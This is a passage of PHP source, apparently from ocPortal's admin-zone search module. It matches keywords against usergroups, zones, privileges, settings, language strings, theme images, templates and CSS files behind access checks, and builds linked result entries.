ocp_tempcode();\n\t\t\t\t\t$tree->attach(hyperlink(build_url(array('page'=>'admin','type'=>'security'),'adminzone'),do_lang_tempcode('SECURITY')));\n\t\t\t\t\t$tree->attach(do_template('BREADCRUMB_ESCAPED'));\n\t\t\t\t\t$tree->attach(hyperlink(build_url(array('page'=>'admin_ocf_groups','type'=>'misc'),'adminzone'),do_lang_tempcode('USERGROUPS')));\n\t\t\t\t\t$tree->attach(do_template('BREADCRUMB_ESCAPED'));\n\t\t\t\t\t$tree->attach(hyperlink(build_url(array('page'=>'admin_ocf_groups','type'=>'ed'),'adminzone'),do_lang_tempcode('EDIT_GROUP')));\n\t\t\t\t\t$sup=do_lang_tempcode('LOCATED_IN',$tree);\n\t\t\t\t\t$content[$current_results_type]->attach(do_template('INDEX_SCREEN_FANCIER_ENTRY',array('NAME'=>$n,'URL'=>$url,'TITLE'=>'','DESCRIPTION'=>'','SUP'=>$sup)));\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t$current_results_type=do_lang('THEMES');\n\t\tif (($this->_section_match($section_limitations,$current_results_type)) && has_actual_page_access(get_member(),'admin_themes'))\n\t\t{\n\t\t\t// Themes\n\t\t\t$content[$current_results_type]=new ocp_tempcode();\n\t\t\t$map=array();\n\t\t\tforeach (array(do_lang('SUPPORTS_WIDE'),do_lang('MOBILE_PAGES')) as $n)\n\t\t\t{\n\t\t\t\tif ($this->_keyword_match($n))\n\t\t\t\t{\n\t\t\t\t\t$_url=build_url(array('page'=>'admin_themes','type'=>'edit_theme','theme'=>$GLOBALS['FORUM_DRIVER']->get_theme('')),'adminzone');\n\t\t\t\t\t$url=$_url->evaluate();\n\t\t\t\t\t$tree=new ocp_tempcode();\n\t\t\t\t\t$tree->attach(hyperlink(build_url(array('page'=>'admin','type'=>'style'),'adminzone'),do_lang_tempcode('STYLE')));\n\t\t\t\t\t$tree->attach(do_template('BREADCRUMB_ESCAPED'));\n\t\t\t\t\t$tree->attach(hyperlink(build_url(array('page'=>'admin_themes','type'=>'misc'),'adminzone'),do_lang_tempcode('THEMES')));\n\t\t\t\t\t$sup=do_lang_tempcode('LOCATED_IN',$tree);\n\t\t\t\t\t$content[$current_results_type]->attach(do_template('INDEX_SCREEN_FANCIER_ENTRY',array('NAME'=>$n,'URL'=>$url,'TITLE'=>'','DESCRIPTION'=>'','SUP'=>$sup)));\n\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t$current_results_type=do_lang('ZONES');\n\t\tif (($this->_section_match($section_limitations,$current_results_type)) && has_actual_page_access(get_member(),'admin_zones'))\n\t\t{\n\t\t\t// Zones\n\t\t\t$content[$current_results_type]=new ocp_tempcode();\n\t\t\t$map=array();\n\t\t\t$all_groups=$GLOBALS['SITE_DB']->query_select('zones',array('zone_name','zone_title','zone_header_text'),$map,'ORDER BY zone_title',50/*reasonable limit; zone_title is sequential for default zones*/);\n\t\t\tforeach ($all_groups as $p)\n\t\t\t{\n\t\t\t\t$n=$p['zone_name'];\n\t\t\t\t$t=get_translated_text($p['zone_title']);\n\t\t\t\t$ht=get_translated_text($p['zone_header_text']);\n\t\t\t\tif (($this->_keyword_match($n)) || ($this->_keyword_match($t)) || ($this->_keyword_match($ht)))\n\t\t\t\t{\n\t\t\t\t\t$_url=build_url(array('page'=>'admin_zones','type'=>'_edit','id'=>$p['zone_name']),'adminzone');\n\t\t\t\t\t$url=$_url->evaluate();\n\t\t\t\t\t$tree=new ocp_tempcode();\n\t\t\t\t\t$tree->attach(hyperlink(build_url(array('page'=>'admin','type'=>'setup'),'adminzone'),do_lang_tempcode('STRUCTURE')));\n\t\t\t\t\t$tree->attach(do_template('BREADCRUMB_ESCAPED'));\n\t\t\t\t\t$tree->attach(hyperlink(build_url(array('page'=>'admin_zones','type'=>'misc'),'adminzone'),do_lang_tempcode('ZONES')));\n\t\t\t\t\t$tree->attach(do_template('BREADCRUMB_ESCAPED'));\n\t\t\t\t\t$tree->attach(hyperlink(build_url(array('page'=>'admin_zones','type'=>'edit'),'adminzone'),do_lang_tempcode('EDIT_ZONE')));\n\t\t\t\t\t$sup=do_lang_tempcode('LOCATED_IN',$tree);\n\t\t\t\t\t$content[$current_results_type]->attach(do_template('INDEX_SCREEN_FANCIER_ENTRY',array('NAME'=>$n,'URL'=>$url,'TITLE'=>'','DESCRIPTION'=>escape_html($t),'SUP'=>$sup)));\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// Blocks\n\t\t$current_results_type=do_lang('_BLOCKS');\n\t\tif ($this->_section_match($section_limitations,$current_results_type))\n\t\t{\n\t\t\t$content[$current_results_type]=new ocp_tempcode();\n\t\t\t$map=array();\n\t\t\trequire_code('zones2');\n\t\t\t$all_blocks=find_all_blocks();\n\t\t\tforeach (array_keys($all_blocks) as $p)\n\t\t\t{\n\t\t\t\t$t=do_lang('BLOCK_'.$p.'_DESCRIPTION');\n\t\t\t\tif (($this->_keyword_match($p)) || ($this->_keyword_match($t)))\n\t\t\t\t{\n\t\t\t\t\t$url='';\n\t\t\t\t\t$content[$current_results_type]->attach(do_template('INDEX_SCREEN_FANCIER_ENTRY',array('NAME'=>$p,'URL'=>$url,'TITLE'=>'','DESCRIPTION'=>escape_html($t))));\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t$current_results_type=do_lang('SPECIFIC_PERMISSIONS');\n\t\tif (($this->_section_match($section_limitations,$current_results_type)) && (has_actual_page_access(get_member(),'admin_permissions')))\n\t\t{\n\t\t\t// Privileges- sections/names/descriptions\n\t\t\t$content[$current_results_type]=new ocp_tempcode();\n\t\t\t$all_permissions=$GLOBALS['SITE_DB']->query_select('sp_list',array('the_name','p_section'));\n\t\t\t$pt_sections=array();\n\t\t\tforeach ($all_permissions as $p)\n\t\t\t{\n\t\t\t\t$n=do_lang('PT_'.$p['the_name'],NULL,NULL,NULL,NULL,false);\n\t\t\t\tif (is_null($n)) continue;\n\t\t\t\tif (($this->_keyword_match($n)) || ($this->_keyword_match($p['the_name'])))\n\t\t\t\t{\n\t\t\t\t\t$_url=build_url(array('page'=>'admin_permissions','type'=>'specific','id'=>$p['p_section']),'adminzone');\n\t\t\t\t\t$tree=new ocp_tempcode();\n\t\t\t\t\t$tree->attach(hyperlink(build_url(array('page'=>'admin','type'=>'security'),'adminzone'),do_lang_tempcode('SECURITY')));\n\t\t\t\t\t$tree->attach(do_template('BREADCRUMB_ESCAPED'));\n\t\t\t\t\t$tree->attach(hyperlink(build_url(array('page'=>'admin_permissions','type'=>'specific'),'adminzone'),do_lang_tempcode('SPECIFIC_PERMISSIONS')));\n\t\t\t\t\t$tree->attach(do_template('BREADCRUMB_ESCAPED'));\n\t\t\t\t\t$tree->attach(hyperlink($_url,do_lang($p['p_section'])));\n\t\t\t\t\t$sup=do_lang_tempcode('LOCATED_IN',$tree);\n\t\t\t\t\t$content[$current_results_type]->attach(do_template('INDEX_SCREEN_FANCIER_ENTRY',array('NAME'=>$n,'URL'=>$_url,'TITLE'=>'','DESCRIPTION'=>'','SUP'=>$sup)));\n\t\t\t\t}\n\t\t\t\t$pt_sections[$p['p_section']]=1;\n\t\t\t}\n\t\t\t$current_results_type=do_lang('SPECIFIC_PERMISSION_SECTIONS');\n\t\t\t$content[$current_results_type]=new ocp_tempcode();\n\t\t\tforeach (array_keys($pt_sections) as $p)\n\t\t\t{\n\t\t\t\t$n=do_lang($p,NULL,NULL,NULL,NULL,false);\n\t\t\t\tif (is_null($n)) continue;\n\t\t\t\tif (($this->_keyword_match($n)) || ($this->_keyword_match($p)))\n\t\t\t\t{\n\t\t\t\t\t$_url=build_url(array('page'=>'admin_permissions','type'=>'specific','id'=>$p),'adminzone');\n\t\t\t\t\t$tree=new ocp_tempcode();\n\t\t\t\t\t$tree->attach(hyperlink(build_url(array('page'=>'admin','type'=>'security'),'adminzone'),do_lang_tempcode('SECURITY')));\n\t\t\t\t\t$tree->attach(do_template('BREADCRUMB_ESCAPED'));\n\t\t\t\t\t$tree->attach(hyperlink(build_url(array('page'=>'admin_permissions','type'=>'specific'),'adminzone'),do_lang_tempcode('SPECIFIC_PERMISSIONS')));\n\t\t\t\t\t$sup=do_lang_tempcode('LOCATED_IN',$tree);\n\t\t\t\t\t$content[$current_results_type]->attach(do_template('INDEX_SCREEN_FANCIER_ENTRY',array('NAME'=>$n,'URL'=>$_url,'TITLE'=>'','DESCRIPTION'=>'','SUP'=>$sup)));\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t$current_results_type=do_lang('USERGROUP_SETTINGS');\n\t\tif (($this->_section_match($section_limitations,$current_results_type)) && (get_forum_type()=='ocf') && (has_actual_page_access(get_member(),'admin_ocf_groups','adminzone')))\n\t\t{\n\t\t\t// Usergroup settings\n\t\t\t$content[$current_results_type]=new ocp_tempcode();\n\t\t\t$applicable_langstrings=array(\n\t\t\t\tarray('ENQUIRE_ON_NEW_IPS','DESCRIPTION_ENQUIRE_ON_NEW_IPS'),\n\t\t\t\tarray('FLOOD_CONTROL_ACCESS_SECS','DESCRIPTION_FLOOD_CONTROL_ACCESS_SECS'),\n\t\t\t\tarray('FLOOD_CONTROL_SUBMIT_SECS','DESCRIPTION_FLOOD_CONTROL_SUBMIT_SECS'),\n\t\t\t\tarray('MAX_ATTACHMENTS_PER_POST','DESCRIPTION_MAX_ATTACHMENTS_PER_POST'),\n\t\t\t\tarray('MAX_DAILY_UPLOAD_MB','DESCRIPTION_MAX_DAILY_UPLOAD_MB'),\n\t\t\t\tarray('MAX_AVATAR_WIDTH','DESCRIPTION_MAX_AVATAR_WIDTH'),\n\t\t\t\tarray('MAX_AVATAR_HEIGHT','DESCRIPTION_MAX_AVATAR_HEIGHT'),\n\t\t\t\tarray('MAX_POST_LENGTH_COMCODE','DESCRIPTION_MAX_POST_LENGTH_COMCODE'),\n\t\t\t\tarray('MAX_SIG_LENGTH_COMCODE','DESCRIPTION_MAX_SIG_LENGTH_COMCODE'),\n\t\t\t);\n\t\t\tif (addon_installed('points'))\n\t\t\t{\n\t\t\t\t$applicable_langstrings=array_merge($applicable_langstrings,array(\n\t\t\t\t\tarray('GIFT_POINTS_BASE','DESCRIPTION_GIFT_POINTS_BASE'),\n\t\t\t\t\tarray('GIFT_POINTS_PER_DAY','DESCRIPTION_GIFT_POINTS_PER_DAY'),\n\t\t\t\t));\n\t\t\t}\n\t\t\tforeach ($applicable_langstrings as $_langstring)\n\t\t\t{\n\t\t\t\t$array=is_array($_langstring)?$_langstring:array($_langstring);\n\t\t\t\tforeach ($array as $langstring)\n\t\t\t\t{\n\t\t\t\t\t$n=do_lang($langstring);\n\t\t\t\t\tif ($this->_keyword_match($n))\n\t\t\t\t\t{\n\t\t\t\t\t\t$n=do_lang_tempcode($array[0]);\n\t\t\t\t\t\t$_url=build_url(array('page'=>'admin_ocf_groups','type'=>'ed'),'adminzone');\n\t\t\t\t\t\t$descrip=array_key_exists(1,$array)?do_lang_tempcode($array[1]):new ocp_tempcode();\n\t\t\t\t\t\t$tree=new ocp_tempcode();\n\t\t\t\t\t\t$tree->attach(hyperlink(build_url(array('page'=>'admin','type'=>'security'),'adminzone'),do_lang_tempcode('SECURITY')));\n\t\t\t\t\t\t$tree->attach(do_template('BREADCRUMB_ESCAPED'));\n\t\t\t\t\t\t$tree->attach(hyperlink(build_url(array('page'=>'admin_ocf_groups','type'=>'misc'),'adminzone'),do_lang_tempcode('USERGROUPS')));\n\t\t\t\t\t\t$sup=do_lang_tempcode('LOCATED_IN',$tree);\n\t\t\t\t\t\t$content[$current_results_type]->attach(do_template('INDEX_SCREEN_FANCIER_ENTRY',array('NAME'=>$n,'URL'=>$_url,'TITLE'=>'','DESCRIPTION'=>$descrip,'SUP'=>$sup)));\n\t\t\t\t\t\tcontinue 2;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t$current_results_type=do_lang('MEMBER_SETTINGS');\n\t\tif (($this->_section_match($section_limitations,$current_results_type)) && (get_forum_type()=='ocf') && (has_actual_page_access(get_member(),'members')))\n\t\t{\n\t\t\t// Member settings\n\t\t\t$content[$current_results_type]=new ocp_tempcode();\n\t\t\t$applicable_langstrings=array(\n\t\t\t\tarray('WIDE','DESCRIPTION_WIDE'),\n\t\t\t\tarray('REVEAL_AGE','DESCRIPTION_REVEAL_AGE'),\n\t\t\t\tarray('PREVIEW_POSTS','DESCRIPTION_PREVIEW_POSTS'),\n\t\t\t\tarray('AUTO_NOTIFICATION_CONTRIB_CONTENT','DESCRIPTION_AUTO_NOTIFICATION_CONTRIB_CONTENT'),\n\t\t\t\tarray('PT_RULES_TEXT','PT_RULES_TEXT_DESCRIPTION'),\n\t\t\t);\n\t\t\tforeach ($applicable_langstrings as $_langstring)\n\t\t\t{\n\t\t\t\t$array=is_array($_langstring)?$_langstring:array($_langstring);\n\t\t\t\tforeach ($array as $langstring)\n\t\t\t\t{\n\t\t\t\t\t$n=do_lang($langstring);\n\t\t\t\t\tif ($this->_keyword_match($n))\n\t\t\t\t\t{\n\t\t\t\t\t\t$n=do_lang_tempcode($array[0]);\n\t\t\t\t\t\t$descrip=array_key_exists(1,$array)?do_lang_tempcode($array[1]):new ocp_tempcode();\n\t\t\t\t\t\t$_url=build_url(array('page'=>'members','type'=>'view'),get_module_zone('members'),NULL,false,false,false,'tab__edit');\n\t\t\t\t\t\t$url=$_url->evaluate();\n\t\t\t\t\t\t$content[$current_results_type]->attach(do_template('INDEX_SCREEN_FANCIER_ENTRY',array('NAME'=>$n,'URL'=>$url,'TITLE'=>'','DESCRIPTION'=>$descrip)));\n\t\t\t\t\t\tcontinue 2;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// Zone options\n\t\t$current_results_type=do_lang('ZONE_OPTIONS');\n\t\tif (($this->_section_match($section_limitations,$current_results_type)) && (has_actual_page_access(get_member(),'admin_zones','adminzone')))\n\t\t{\n\t\t\t$content[$current_results_type]=new ocp_tempcode();\n\t\t\t$applicable_langstrings=array(\n\t\t\t\tarray('DEFAULT_PAGE','DESCRIPTION_DEFAULT_PAGE'),\n\t\t\t\tarray('HEADER_TEXT','DESCRIPTION_HEADER_TEXT'),\n\t\t\t\tarray('WIDE','DESCRIPTION_WIDE'),\n\t\t\t\tarray('REQUIRE_SESSION','DESCRIPTION_REQUIRE_SESSION'),\n\t\t\t\tarray('DISPLAYED_IN_MENU','DESCRIPTION_DISPLAYED_IN_MENU'),\n\t\t\t\tarray('THEME',(get_forum_type()=='ocf')?'_DESCRIPTION_THEME_OCF':'_DESCRIPTION_THEME'),\n\t\t\t);\n\t\t\tforeach ($applicable_langstrings as $_langstring)\n\t\t\t{\n\t\t\t\t$array=is_array($_langstring)?$_langstring:array($_langstring);\n\t\t\t\tforeach ($array as $langstring)\n\t\t\t\t{\n\t\t\t\t\t$n=do_lang($langstring);\n\t\t\t\t\tif ($this->_keyword_match($n))\n\t\t\t\t\t{\n\t\t\t\t\t\t$n=do_lang_tempcode($array[0]);\n\t\t\t\t\t\t$_url=build_url(array('page'=>'admin_zones','type'=>'edit'),'adminzone');\n\t\t\t\t\t\t$descrip=array_key_exists(1,$array)?do_lang_tempcode($array[1]):new ocp_tempcode();\n\t\t\t\t\t\t$tree=new ocp_tempcode();\n\t\t\t\t\t\t$tree->attach(hyperlink(build_url(array('page'=>'admin','type'=>'structure'),'adminzone'),do_lang_tempcode('STRUCTURE')));\n\t\t\t\t\t\t$tree->attach(do_template('BREADCRUMB_ESCAPED'));\n\t\t\t\t\t\t$tree->attach(hyperlink(build_url(array('page'=>'admin_zones','type'=>'misc'),'adminzone'),do_lang_tempcode('ZONES')));\n\t\t\t\t\t\t$sup=do_lang_tempcode('LOCATED_IN',$tree);\n\t\t\t\t\t\t$content[$current_results_type]->attach(do_template('INDEX_SCREEN_FANCIER_ENTRY',array('NAME'=>$n,'URL'=>$_url,'TITLE'=>'','DESCRIPTION'=>$descrip,'SUP'=>$sup)));\n\t\t\t\t\t\tcontinue 2;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// Install options\n\t\t$current_results_type=do_lang('BASE_CONFIGURATION');\n\t\tif (($this->_section_match($section_limitations,$current_results_type)) && ($GLOBALS['FORUM_DRIVER']->is_super_admin(get_member())))\n\t\t{\n\t\t\t$content[$current_results_type]=new ocp_tempcode();\n\t\t\tif (file_exists(get_file_base().'/config_editor.php'))\n\t\t\t{\n\t\t\t\t$file_contents=file_get_contents(get_file_base().'/config_editor.php');\n\t\t\t\t$matches=array();\n\t\t\t\t$num_matches=preg_match_all('#case \\'([^\\']+)\\':\\n\\s*\\$notes=\\'([^\\']+)\\';#',$file_contents,$matches);\n\t\t\t\tfor ($i=0;$i<$num_matches;$i++)\n\t\t\t\t{\n\t\t\t\t\t$n=stripslashes($matches[2][$i]);\n\t\t\t\t\tif ($this->_keyword_match($n))\n\t\t\t\t\t{\n\t\t\t\t\t\t$url=get_base_url().'/config_editor.php';\n\t\t\t\t\t\t$content[$current_results_type]->attach(do_template('INDEX_SCREEN_FANCIER_ENTRY',array('NAME'=>stripslashes($matches[1][$i]),'URL'=>$url,'TITLE'=>'','DESCRIPTION'=>$n)));\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// Language string names and contents\n\t\t$current_results_type=do_lang('MODULE_TRANS_NAME_admin_lang');\n\t\tif (($this->_section_match($section_limitations,$current_results_type)) && (has_actual_page_access(get_member(),'admin_lang','adminzone')))\n\t\t{\n\t\t\t$content[$current_results_type]=new ocp_tempcode();\n\n\t\t\tif (user_lang()!=fallback_lang())\n\t\t\t\t$content[$current_results_type]->attach(paragraph(do_lang_tempcode('SEARCH_LAUNCHPAD',escape_html(urlencode($raw_search_string)),escape_html(urlencode(user_lang())))));\n\n\t\t\tglobal $LANGUAGE;\n\t\t\t$lang_file_contents=array();\n\t\t\t$lang_found=array();\n\t\t\tforeach ($LANGUAGE[user_lang()] as $n=>$n_value) // Search all lang strings (we loaded all earlier with require_all_lang)\n\t\t\t{\n\t\t\t\tif (($this->_keyword_match($n)) || ($this->_keyword_match($n_value)))\n\t\t\t\t{\n\t\t\t\t\t$lang_found[$n]=$n_value;\n\t\t\t\t\tif (count($lang_found)>100)\n\t\t\t\t\t{\n\t\t\t\t\t\t$content[$current_results_type]->attach(do_template('INDEX_SCREEN_FANCIER_ENTRY',array('NAME'=>do_lang_tempcode('TOO_MANY_TO_CHOOSE_FROM'),'URL'=>'','TITLE'=>'','DESCRIPTION'=>'','SUP'=>'')));\n\t\t\t\t\t\t$lang_found=array();\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tforeach ($lang_found as $n=>$n_value)\n\t\t\t{\n\t\t\t\t// Try and find what lang file it came from\n\t\t\t\t$lang_file='global';\n\t\t\t\tforeach (array('lang','lang_custom') as $lang_dir)\n\t\t\t\t{\n\t\t\t\t\t$dh=@opendir(get_file_base().'/'.$lang_dir.'/'.fallback_lang().'/');\n\t\t\t\t\tif ($dh!==false)\n\t\t\t\t\t{\n\t\t\t\t\t\twhile (($file=readdir($dh))!==false)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif (substr(strtolower($file),-4)=='.ini')\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif (!array_key_exists($file,$lang_file_contents))\n\t\t\t\t\t\t\t\t\t$lang_file_contents[$file]=file_get_contents(get_file_base().'/'.$lang_dir.'/'.fallback_lang().'/'.$file);\n\t\t\t\t\t\t\t\tif ((preg_match('#^'.str_replace('#','\\#',preg_quote($n)).'=#m',$lang_file_contents[$file])!=0) || ((file_exists(get_custom_file_base().'/lang_custom/'.user_lang().'/'.$file)) && (preg_match('#^'.str_replace('#','\\#',preg_quote($n)).'=#m',file_get_contents(get_custom_file_base().'/lang_custom/'.user_lang().'/'.$file))!=0)))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$lang_file=basename($file,'.ini');\n\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t$_url=build_url(array('page'=>'admin_lang','type'=>'misc','lang'=>user_lang(),'lang_file'=>$lang_file),'adminzone');\n\t\t\t\t$url=$_url->evaluate();\n\t\t\t\t$url.='#jmp_'.$n;\n\t\t\t\t$tree=new ocp_tempcode();\n\t\t\t\t$tree->attach(hyperlink(build_url(array('page'=>'admin','type'=>'style'),'adminzone'),do_lang_tempcode('STYLE')));\n\t\t\t\t$tree->attach(do_template('BREADCRUMB_ESCAPED'));\n\t\t\t\t$tree->attach(hyperlink(build_url(array('page'=>'admin_lang','type'=>'misc'),'adminzone'),do_lang_tempcode('TRANSLATE_CONTENT')));\n\t\t\t\t$tree->attach(do_template('BREADCRUMB_ESCAPED'));\n\t\t\t\t$tree->attach(hyperlink(build_url(array('page'=>'admin_lang','type'=>'misc','lang'=>user_lang(),'lang_file'=>$lang_file),'adminzone'),$lang_file));\n\t\t\t\t$sup=do_lang_tempcode('LOCATED_IN',$tree);\n\t\t\t\t$content[$current_results_type]->attach(do_template('INDEX_SCREEN_FANCIER_ENTRY',array('NAME'=>$n,'URL'=>$url,'TITLE'=>'','DESCRIPTION'=>escape_html($n_value),'SUP'=>$sup)));\n\t\t\t}\n\t\t\t$lang_file_contents=array();\n\t\t}\n\n\t\t// Theme images\n\t\t$current_results_type=do_lang('MANAGE_THEME_IMAGES');\n\t\tif (($this->_section_match($section_limitations,$current_results_type)) && (has_actual_page_access(get_member(),'admin_themes','adminzone')))\n\t\t{\n\t\t\t$content[$current_results_type]=new ocp_tempcode();\n\t\t\t$images=$GLOBALS['SITE_DB']->query_select('theme_images',array('id','theme','lang'));\n\t\t\tforeach ($images as $image)\n\t\t\t{\n\t\t\t\t$n=$image['id'];\n\t\t\t\tif ($this->_keyword_match($n))\n\t\t\t\t{\n\t\t\t\t\t$_url=build_url(array('page'=>'admin_themes','type'=>'edit_image','theme'=>$image['theme'],'lang'=>$image['lang'],'id'=>$n),'adminzone');\n\t\t\t\t\t$tree=new ocp_tempcode();\n\t\t\t\t\t$tree->attach(hyperlink(build_url(array('page'=>'admin','type'=>'style'),'adminzone'),do_lang_tempcode('STYLE')));\n\t\t\t\t\t$tree->attach(do_template('BREADCRUMB_ESCAPED'));\n\t\t\t\t\t$tree->attach(hyperlink(build_url(array('page'=>'admin_themes','type'=>'misc'),'adminzone'),do_lang_tempcode('THEMES')));\n\t\t\t\t\t$tree->attach(do_template('BREADCRUMB_ESCAPED'));\n\t\t\t\t\t$tree->attach(hyperlink(build_url(array('page'=>'admin_themes','type'=>'manage_images','theme'=>$image['theme']),'adminzone'),do_lang_tempcode('EDIT_THEME_IMAGE')));\n\t\t\t\t\t$tree->attach(do_template('BREADCRUMB_ESCAPED'));\n\t\t\t\t\t$tree->attach(escape_html($image['theme']));\n\t\t\t\t\t$sup=do_lang_tempcode('LOCATED_IN',$tree);\n\t\t\t\t\t$lang=$image['lang'];\n\t\t\t\t\t$lang_map=better_parse_ini_file(file_exists(get_file_base().'/lang_custom/langs.ini')?(get_file_base().'/lang_custom/langs.ini'):(get_file_base().'/lang/langs.ini'));\n\t\t\t\t\t$lang=array_key_exists($lang,$lang_map)?$lang_map[$lang]:$lang;\n\t\t\t\t\t$content[$current_results_type]->attach(do_template('INDEX_SCREEN_FANCIER_ENTRY',array('NAME'=>$n,'URL'=>$_url,'TITLE'=>'','DESCRIPTION'=>$lang,'SUP'=>$sup)));\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// Template names\n\t\t$current_results_type=do_lang('TEMPLATES');\n\t\tif (($this->_section_match($section_limitations,$current_results_type)) && (has_actual_page_access(get_member(),'admin_themes','adminzone')))\n\t\t{\n\t\t\t$content[$current_results_type]=new ocp_tempcode();\n\t\t\t$tpl_found=array();\n\t\t\tforeach (array('templates_custom','templates') as $template_dir)\n\t\t\t{\n\t\t\t\t$dh=opendir(get_file_base().'/themes/default/'.$template_dir.'/');\n\t\t\t\twhile (($file=readdir($dh))!==false)\n\t\t\t\t{\n\t\t\t\t\tif ((substr(strtolower($file),-4)=='.tpl') && (!array_key_exists($file,$tpl_found)))\n\t\t\t\t\t{\n\t\t\t\t\t\t$n=$file;\n\t\t\t\t\t\tif (($this->_keyword_match(basename($n,'.tpl'))) || ($this->_keyword_match($n)) || (($template_dir=='templates_custom') && ($this->_keyword_match(file_get_contents(get_file_base().'/themes/default/'.$template_dir.'/'.$n)))))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$_url=build_url(array('page'=>'admin_themes','type'=>'_edit_templates','theme'=>$default_theme,'f0file'=>$file),'adminzone');\n\t\t\t\t\t\t\t$tree=new ocp_tempcode();\n\t\t\t\t\t\t\t$tree->attach(hyperlink(build_url(array('page'=>'admin','type'=>'style'),'adminzone'),do_lang_tempcode('STYLE')));\n\t\t\t\t\t\t\t$tree->attach(do_template('BREADCRUMB_ESCAPED'));\n\t\t\t\t\t\t\t$tree->attach(hyperlink(build_url(array('page'=>'admin_themes','type'=>'misc'),'adminzone'),do_lang_tempcode('THEMES')));\n\t\t\t\t\t\t\t$tree->attach(do_template('BREADCRUMB_ESCAPED'));\n\t\t\t\t\t\t\t$tree->attach(hyperlink(build_url(array('page'=>'admin_themes','type'=>'edit_templates','theme'=>$default_theme),'adminzone'),do_lang_tempcode('EDIT_TEMPLATES')));\n\t\t\t\t\t\t\t$sup=do_lang_tempcode('LOCATED_IN',$tree);\n\t\t\t\t\t\t\t$content[$current_results_type]->attach(do_template('INDEX_SCREEN_FANCIER_ENTRY',array('NAME'=>$n,'URL'=>$_url,'TITLE'=>'','DESCRIPTION'=>'','SUP'=>$sup)));\n\t\t\t\t\t\t\t$tpl_found[$file]=1;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// CSS file contents\n\t\t$current_results_type='CSS';\n\t\tif (($this->_section_match($section_limitations,$current_results_type)) && (has_actual_page_access(get_member(),'admin_themes','adminzone')))\n\t\t{\n\t\t\t$content[$current_results_type]=new ocp_tempcode();\n\t\t\t$dh=opendir(get_file_base().'/themes/default/css/');\n\t\t\twhile (($file=readdir($dh))!==false)\n\t\t\t{\n\t\t\t\tif (substr(strtolower($file),-4)=='.css')\n\t\t\t\t{\n\t\t\t\t\t$n=$file;\n\t\t\t\t\tif ($this->_keyword_match(file_get_contents(get_file_base().'/themes/default/css/'.$n)))\n\t\t\t\t\t{\n\t\t\t\t\t\t$_url=build_url(array('page'=>'admin_themes','type'=>'edit_css','theme'=>$default_theme,'file'=>$file),'adminzone');\n\t\t\t\t\t\t$url=$_url->evaluate();\n\t\t\t\t\t\tif (isset($keywords[0]))\n\t\t\t\t\t\t\t$url.='#'.$keywords[0][0];\n\t\t\t\t\t\t$tree=new ocp_tempcode();\n\t\t\t\t\t\t$tree->attach(hyperlink(build_url(array('page'=>'admin','type'=>'style'),'adminzone'),do_lang_tempcode('STYLE')));\n\t\t\t\t\t\t$tree->attach(do_template('BREADCRUMB_ESCAPED'));\n\t\t\t\t\t\t$tree->attach(hyperlink(build_url(array('page'=>'admin_themes','type'=>'misc'),'adminzone'),do_lang_tempcode('THEMES')));\n\t\t\t\t\t\t$tree->attach(do_template('BREADCRUMB_ESCAPED'));\n\t\t\t\t\t\t$tree->attach(hyperlink(build_url(array('page'=>'admin_themes','type'=>'choose_css','theme'=>$default_theme),'adminzone'),do_lang_tempcode('EDIT_CSS')));\n\t\t\t\t\t\t$sup=do_lang_tempcode('LOCATED_IN',$tree);\n\t\t\t\t\t\t$content[$current_results_type]->attach(do_template('INDEX_SCREEN_FANCIER_ENTRY',array('NAME'=>$n,'URL'=>$url,'TITLE'=>'','DESCRIPTION'=>'','SUP'=>$sup)));\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t//ksort($content);\t\tDon't sort, we have an implicit good order in this code file\n\n\t\t// And show results...\n\t\tif (addon_installed('search'))\n\t\t{\n\t\t\t$_search_url=build_url(array('page'=>'search','type'=>'results','content'=>$raw_search_string,'days'=>'-1','search_comcode_pages'=>1,'all_defaults'=>1),get_module_zone('search'));\n\t\t\t$search_url=$_search_url->evaluate();\n\t\t\t$software_search_url=brand_base_url().'/site/index.php?page=search&type=results&search_under=docs&search_comcode_pages=1&days=-1&content='.urlencode($raw_search_string);\n\t\t\t$software_search_url_2=brand_base_url().'/site/index.php?page=search&type=results&search_ocf_posts=1&days=-1&content='.urlencode($raw_search_string);\n\t\t\t$pre=do_lang_tempcode('ADMINZONE_SEARCH_RESULTS',escape_html($raw_search_string),escape_html($search_url),array(escape_html($software_search_url),escape_html($software_search_url_2)));\n\t\t} else $pre=new ocp_tempcode();\n\t\t$found_some=false;\n\t\tforeach ($content as $c)\n\t\t{\n\t\t\tif (!$c->is_empty())\n\t\t\t{\n\t\t\t\t$found_some=true;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\t$post=((strpos($raw_search_string,'\"')!==false) || (!$found_some))?new ocp_tempcode():do_lang_tempcode('ADMINZONE_SEARCH_TIP',escape_html(preg_replace('#\\s@\\w+#','',$raw_search_string)));\n\n\t\tif ((!$found_some) && ($this->and_query)) // Oh well, try as an OR query then\n\t\t{\n\t\t\t$this->and_query=false;\n\t\t\treturn $this->search();\n\t\t}\n\n\t\treturn 